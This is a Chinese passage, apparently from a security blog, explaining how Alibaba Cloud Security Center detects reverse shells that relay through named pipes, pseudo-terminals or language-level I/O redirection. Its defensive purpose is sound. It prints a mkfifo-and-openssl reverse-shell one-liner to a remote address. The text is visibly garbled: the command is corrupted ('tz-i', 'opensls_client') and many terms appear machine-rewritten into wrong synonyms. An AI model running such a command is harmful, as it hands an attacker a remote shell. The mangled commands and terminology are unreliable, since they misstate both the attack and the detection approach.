第二种反弹shell:借助管道/伪终端等中转,重新定向shell的输入输出到中转。这种反弹shell借助配管、伪终端等进行中转,以下案例将tz-i的标准输入、标准导出、标准错误重定向命名配管/tmp/f,加密通信数据也流向该命名配管。
mkfifo/tmp/f/bin/tz-i&1|opensls_client-quiet-connslw0.0.0:1111>/tmp/f在变形的情况下,有可能借助层次中转,但无论借助几层,最终都会形成流动的数据通道。可以借助跟踪fd和程序的关系来复盖。
阿里云安全中心警告这种反弹shell的使用频率很高,其中利用伪终端转播的方式值得单独讨论。例如,该模式与管道等转播原理相同,但伪终端转播的检查难度大幅度提高,仅从shell的标准输入输出来看,与正常打开的终端没有什么区别。另外,容器、各种产品agent等也有类似的日志表现,在平衡泄漏和误报的难易度上大幅度提高。因此,根据文件说明符检查方案,综合分析过程、网络等多种日志信息。借助管道、伪终端等作为中转体,借助socket,将重定向shell编译器的输入输出导出到中转体,例如以下案例。
第三种反弹shell:开发语言实现标准输入中转,重定向命令执行的输入中转,第三种借助开发语言实现标准输入中转,然后重定向命令执行的输入中转,标准导出和标准错误中转形式不受限制。在这种的情景下,反弹shell的命令执行和正常的业务行为愈发难以区分,对抗度上升,除了尽量从过程命令行复盖这种的反弹shell的特征外,云安全中心借助异常命令行为的顺序、异常的shell启动模式来兜底这种风险。异常命令行为序列实体模型借助于阿里云大数据实时计算平台,借助分析命令序列和攻击者获得shell后的行为相似度来判断是否反弹shell。异常shell启动实体模型结合多维特征和机械历史行为综合判定发出警告。
还没有评论,来说两句吧...